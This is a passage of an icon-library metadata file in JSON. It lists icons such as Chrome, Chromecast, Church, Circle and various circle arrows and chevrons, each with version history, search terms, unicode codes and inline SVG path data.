        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 0a64 64 0 1 1 0 128A64 64 0 1 1 160 0zM88 480V400H70.2c-10.9 0-18.6-10.7-15.2-21.1l31.1-93.4L57.5 323.3c-10.7 14.1-30.8 16.8-44.8 6.2s-16.8-30.7-6.2-44.8L65.4 207c22.4-29.6 57.5-47 94.6-47s72.2 17.4 94.6 47l58.9 77.7c10.7 14.1 7.9 34.2-6.2 44.8s-34.2 7.9-44.8-6.2l-28.6-37.8L265 378.9c3.5 10.4-4.3 21.1-15.2 21.1H232v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V400H152v80c0 17.7-14.3 32-32 32s-32-14.3-32-32zM480 0a64 64 0 1 1 0 128A64 64 0 1 1 480 0zm-8 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V300.5L395.1 321c-9.4 15-29.2 19.4-44.1 10s-19.4-29.2-10-44.1l51.7-82.1c17.6-27.9 48.3-44.9 81.2-44.9h12.3c33 0 63.7 16.9 81.2 44.9L619.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L552 300.5V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H472z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 0a64 64 0 1 1 0 128A64 64 0 1 1 160 0zM88 480V400H70.2c-10.9 0-18.6-10.7-15.2-21.1l31.1-93.4L57.5 323.3c-10.7 14.1-30.8 16.8-44.8 6.2s-16.8-30.7-6.2-44.8L65.4 207c22.4-29.6 57.5-47 94.6-47s72.2 17.4 94.6 47l58.9 77.7c10.7 14.1 7.9 34.2-6.2 44.8s-34.2 7.9-44.8-6.2l-28.6-37.8L265 378.9c3.5 10.4-4.3 21.1-15.2 21.1H232v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V400H152v80c0 17.7-14.3 32-32 32s-32-14.3-32-32zM480 0a64 64 0 1 1 0 128A64 64 0 1 1 480 0zm-8 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V300.5L395.1 321c-9.4 15-29.2 19.4-44.1 10s-19.4-29.2-10-44.1l51.7-82.1c17.6-27.9 48.3-44.9 81.2-44.9h12.3c33 0 63.7 16.9 81.2 44.9L619.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L552 300.5V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H472z"
      }
    },
    "free": ["solid"]
  },
  "chrome": {
    "changes": ["4.4.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f268",
    "label": "Chrome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 209.4 12.47 165.6 34.27 127.1L144.1 318.3C166 357.5 207.9 384 256 384C270.3 384 283.1 381.7 296.8 377.4L220.5 509.6C95.9 492.3 0 385.3 0 256zM365.1 321.6C377.4 302.4 384 279.1 384 256C384 217.8 367.2 183.5 340.7 160H493.4C505.4 189.6 512 222.1 512 256C512 397.4 397.4 511.1 256 512L365.1 321.6zM477.8 128H256C193.1 128 142.3 172.1 130.5 230.7L54.19 98.47C101 38.53 174 0 256 0C350.8 0 433.5 51.48 477.8 128V128zM168 256C168 207.4 207.4 168 256 168C304.6 168 344 207.4 344 256C344 304.6 304.6 344 256 344C207.4 344 168 304.6 168 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 209.4 12.47 165.6 34.27 127.1L144.1 318.3C166 357.5 207.9 384 256 384C270.3 384 283.1 381.7 296.8 377.4L220.5 509.6C95.9 492.3 0 385.3 0 256zM365.1 321.6C377.4 302.4 384 279.1 384 256C384 217.8 367.2 183.5 340.7 160H493.4C505.4 189.6 512 222.1 512 256C512 397.4 397.4 511.1 256 512L365.1 321.6zM477.8 128H256C193.1 128 142.3 172.1 130.5 230.7L54.19 98.47C101 38.53 174 0 256 0C350.8 0 433.5 51.48 477.8 128V128zM168 256C168 207.4 207.4 168 256 168C304.6 168 344 207.4 344 256C344 304.6 304.6 344 256 344C207.4 344 168 304.6 168 256z"
      }
    },
    "free": ["brands"]
  },
  "chromecast": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f838",
    "label": "Chromecast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"
      }
    },
    "free": ["brands"]
  },
  "church": {
    "aliases": {
      "unicodes": {
        "composite": ["26ea"],
        "secondary": ["10f51d"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Christian",
        "building",
        "cathedral",
        "chapel",
        "church",
        "community",
        "cross",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51d",
    "label": "Church",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M344 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V48H264c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v46.4L183.3 210c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V251.2c0-16.9-8.8-32.5-23.3-41.2L344 142.4V96h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V24zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M344 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V48H264c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v46.4L183.3 210c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V251.2c0-16.9-8.8-32.5-23.3-41.2L344 142.4V96h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V24zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z"
      }
    },
    "free": ["solid"]
  },
  "circle": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f534",
          "1f535",
          "1f7e0",
          "1f7e1",
          "1f7e2",
          "1f7e3",
          "1f7e4",
          "25cf",
          "26aa",
          "26ab",
          "2b24",
          "f10c",
          "f1db"
        ],
        "secondary": ["10f111"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Circle",
        "Black Large Circle",
        "black circle",
        "blue",
        "blue circle",
        "brown",
        "brown circle",
        "chart",
        "circle",
        "circle-thin",
        "diameter",
        "dot",
        "ellipse",
        "fill",
        "geometric",
        "green",
        "green circle",
        "notification",
        "orange",
        "orange circle",
        "progress",
        "purple",
        "purple circle",
        "red",
        "red circle",
        "round",
        "white circle",
        "yellow",
        "yellow circle"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f111",
    "label": "Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-arrow-down": {
    "aliases": {
      "names": ["arrow-circle-down"],
      "unicodes": {
        "secondary": ["10f0ab"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download"]
    },
    "styles": ["solid"],
    "unicode": "f0ab",
    "label": "Circle Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM127 281c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l71 71L232 136c0-13.3 10.7-24 24-24s24 10.7 24 24l0 182.1 71-71c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 393c-9.4 9.4-24.6 9.4-33.9 0L127 281z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM127 281c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l71 71L232 136c0-13.3 10.7-24 24-24s24 10.7 24 24l0 182.1 71-71c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 393c-9.4 9.4-24.6 9.4-33.9 0L127 281z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-left": {
    "aliases": {
      "names": ["arrow-circle-left"],
      "unicodes": {
        "secondary": ["10f0a8"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f0a8",
    "label": "Circle Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM231 127c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-71 71L376 232c13.3 0 24 10.7 24 24s-10.7 24-24 24l-182.1 0 71 71c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L119 273c-9.4-9.4-9.4-24.6 0-33.9L231 127z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM231 127c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-71 71L376 232c13.3 0 24 10.7 24 24s-10.7 24-24 24l-182.1 0 71 71c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L119 273c-9.4-9.4-9.4-24.6 0-33.9L231 127z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-right": {
    "aliases": {
      "names": ["arrow-circle-right"],
      "unicodes": {
        "secondary": ["10f0a9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f0a9",
    "label": "Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM281 385c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l71-71L136 280c-13.3 0-24-10.7-24-24s10.7-24 24-24l182.1 0-71-71c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L393 239c9.4 9.4 9.4 24.6 0 33.9L281 385z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM281 385c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l71-71L136 280c-13.3 0-24-10.7-24-24s10.7-24 24-24l182.1 0-71-71c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L393 239c9.4 9.4 9.4 24.6 0 33.9L281 385z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-up": {
    "aliases": {
      "names": ["arrow-circle-up"],
      "unicodes": {
        "secondary": ["10f0aa"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["upload"]
    },
    "styles": ["solid"],
    "unicode": "f0aa",
    "label": "Circle Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM385 231c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-71-71V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V193.9l-71 71c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 119c9.4-9.4 24.6-9.4 33.9 0L385 231z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM385 231c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-71-71V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V193.9l-71 71c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 119c9.4-9.4 24.6-9.4 33.9 0L385 231z"
      }
    },
    "free": ["solid"]
  },
  "circle-check": {
    "aliases": {
      "names": ["check-circle"],
      "unicodes": {
        "composite": ["f05d"],
        "secondary": ["10f058"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "affected",
        "agree",
        "clear",
        "confirm",
        "correct",
        "done",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f058",
    "label": "Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L369 209z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L369 209z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-chevron-down": {
    "aliases": {
      "names": ["chevron-circle-down"],
      "unicodes": {
        "secondary": ["10f13a"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "download", "dropdown", "menu", "more"]
    },
    "styles": ["solid"],
    "unicode": "f13a",
    "label": "Circle Chevron Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM135 241c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l87 87 87-87c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 345c-9.4 9.4-24.6 9.4-33.9 0L135 241z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM135 241c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l87 87 87-87c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 345c-9.4 9.4-24.6 9.4-33.9 0L135 241z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-left": {
    "aliases": {
      "names": ["chevron-circle-left"],
      "unicodes": {
        "secondary": ["10f137"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f137",
    "label": "Circle Chevron Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM271 135c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-87 87 87 87c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L167 273c-9.4-9.4-9.4-24.6 0-33.9L271 135z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM271 135c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-87 87 87 87c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L167 273c-9.4-9.4-9.4-24.6 0-33.9L271 135z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-right": {
    "aliases": {
      "names": ["chevron-circle-right"],
      "unicodes": {
        "secondary": ["10f138"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f138",
    "label": "Circle Chevron Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM241 377c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l87-87-87-87c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L345 239c9.4 9.4 9.4 24.6 0 33.9L241 377z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM241 377c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l87-87-87-87c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L345 239c9.4 9.4 9.4 24.6 0 33.9L241 377z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-up": {
    "aliases": {
      "names": ["chevron-circle-up"],
      "unicodes": {
        "secondary": ["10f139"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f139",
    "label": "Circle Chevron Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM377 271c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-87-87-87 87c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 167c9.4-9.4 24.6-9.4 33.9 0L377 271z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM377 271c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-87-87-87 87c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 167c9.4-9.4 24.6-9.4 33.9 0L377 271z"
      }
    },
    "free": ["solid"]
  },
  "circle-dollar-to-slot": {
    "aliases": {
      "names": ["donate"],
      "unicodes": {
        "secondary": ["10f4b9"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["contribute", "generosity", "gift", "give"]
    },
    "styles": ["solid"],
    "unicode": "f4b9",
    "label": "Circle Dollar To Slot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.7 403.7c-22.1 8-45.9 12.3-70.7 12.3s-48.7-4.4-70.7-12.3c-.3-.1-.5-.2-.8-.3c-30-11-56.8-28.7-78.6-51.4C70 314.6 48 263.9 48 208C48 93.1 141.1 0 256 0S464 93.1 464 208c0 55.9-22 106.6-57.9 144c-1 1-2 2.1-3 3.1c-21.4 21.4-47.4 38.1-76.3 48.6zM256 91.9c-11.1 0-20.1 9-20.1 20.1v6c-5.6 1.2-10.9 2.9-15.9 5.1c-15 6.8-27.9 19.4-31.1 37.7c-1.8 10.2-.8 20 3.4 29c4.2 8.8 10.7 15 17.3 19.5c11.6 7.9 26.9 12.5 38.6 16l2.2 .7c13.9 4.2 23.4 7.4 29.3 11.7c2.5 1.8 3.4 3.2 3.7 4c.3 .8 .9 2.6 .2 6.7c-.6 3.5-2.5 6.4-8 8.8c-6.1 2.6-16 3.9-28.8 1.9c-6-1-16.7-4.6-26.2-7.9l0 0 0 0 0 0c-2.2-.7-4.3-1.5-6.4-2.1c-10.5-3.5-21.8 2.2-25.3 12.7s2.2 21.8 12.7 25.3c1.2 .4 2.7 .9 4.4 1.5c7.9 2.7 20.3 6.9 29.8 9.1V304c0 11.1 9 20.1 20.1 20.1s20.1-9 20.1-20.1v-5.5c5.3-1 10.5-2.5 15.4-4.6c15.7-6.7 28.4-19.7 31.6-38.7c1.8-10.4 1-20.3-3-29.4c-3.9-9-10.2-15.6-16.9-20.5c-12.2-8.8-28.3-13.7-40.4-17.4l-.8-.2c-14.2-4.3-23.8-7.3-29.9-11.4c-2.6-1.8-3.4-3-3.6-3.5c-.2-.3-.7-1.6-.1-5c.3-1.9 1.9-5.2 8.2-8.1c6.4-2.9 16.4-4.5 28.6-2.6c4.3 .7 17.9 3.3 21.7 4.3c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-4.4-1.2-14.4-3.2-21-4.4V112c0-11.1-9-20.1-20.1-20.1zM48 352H64c19.5 25.9 44 47.7 72.2 64H64v32H256 448V416H375.8c28.2-16.3 52.8-38.1 72.2-64h16c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V400c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M326.7 403.7c-22.1 8-45.9 12.3-70.7 12.3s-48.7-4.4-70.7-12.3c-.3-.1-.5-.2-.8-.3c-30-11-56.8-28.7-78.6-51.4C70 314.6 48 263.9 48 208C48 93.1 141.1 0 256 0S464 93.1 464 208c0 55.9-22 106.6-57.9 144c-1 1-2 2.1-3 3.1c-21.4 21.4-47.4 38.1-76.3 48.6zM256 91.9c-11.1 0-20.1 9-20.1 20.1v6c-5.6 1.2-10.9 2.9-15.9 5.1c-15 6.8-27.9 19.4-31.1 37.7c-1.8 10.2-.8 20 3.4 29c4.2 8.8 10.7 15 17.3 19.5c11.6 7.9 26.9 12.5 38.6 16l2.2 .7c13.9 4.2 23.4 7.4 29.3 11.7c2.5 1.8 3.4 3.2 3.7 4c.3 .8 .9 2.6 .2 6.7c-.6 3.5-2.5 6.4-8 8.8c-6.1 2.6-16 3.9-28.8 1.9c-6-1-16.7-4.6-26.2-7.9l0 0 0 0 0 0c-2.2-.7-4.3-1.5-6.4-2.1c-10.5-3.5-21.8 2.2-25.3 12.7s2.2 21.8 12.7 25.3c1.2 .4 2.7 .9 4.4 1.5c7.9 2.7 20.3 6.9 29.8 9.1V304c0 11.1 9 20.1 20.1 20.1s20.1-9 20.1-20.1v-5.5c5.3-1 10.5-2.5 15.4-4.6c15.7-6.7 28.4-19.7 31.6-38.7c1.8-10.4 1-20.3-3-29.4c-3.9-9-10.2-15.6-16.9-20.5c-12.2-8.8-28.3-13.7-40.4-17.4l-.8-.2c-14.2-4.3-23.8-7.3-29.9-11.4c-2.6-1.8-3.4-3-3.6-3.5c-.2-.3-.7-1.6-.1-5c.3-1.9 1.9-5.2 8.2-8.1c6.4-2.9 16.4-4.5 28.6-2.6c4.3 .7 17.9 3.3 21.7 4.3c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-4.4-1.2-14.4-3.2-21-4.4V112c0-11.1-9-20.1-20.1-20.1zM48 352H64c19.5 25.9 44 47.7 72.2 64H64v32H256 448V416H375.8c28.2-16.3 52.8-38.1 72.2-64h16c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V400c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "circle-dot": {
    "aliases": {
      "names": ["dot-circle"],
      "unicodes": {
        "composite": ["1f518"],
        "secondary": ["10f192"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bullseye",
        "button",
        "geometric",
        "notification",
        "radio",
        "radio button",
        "target"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f192",
    "label": "Circle Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-352a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
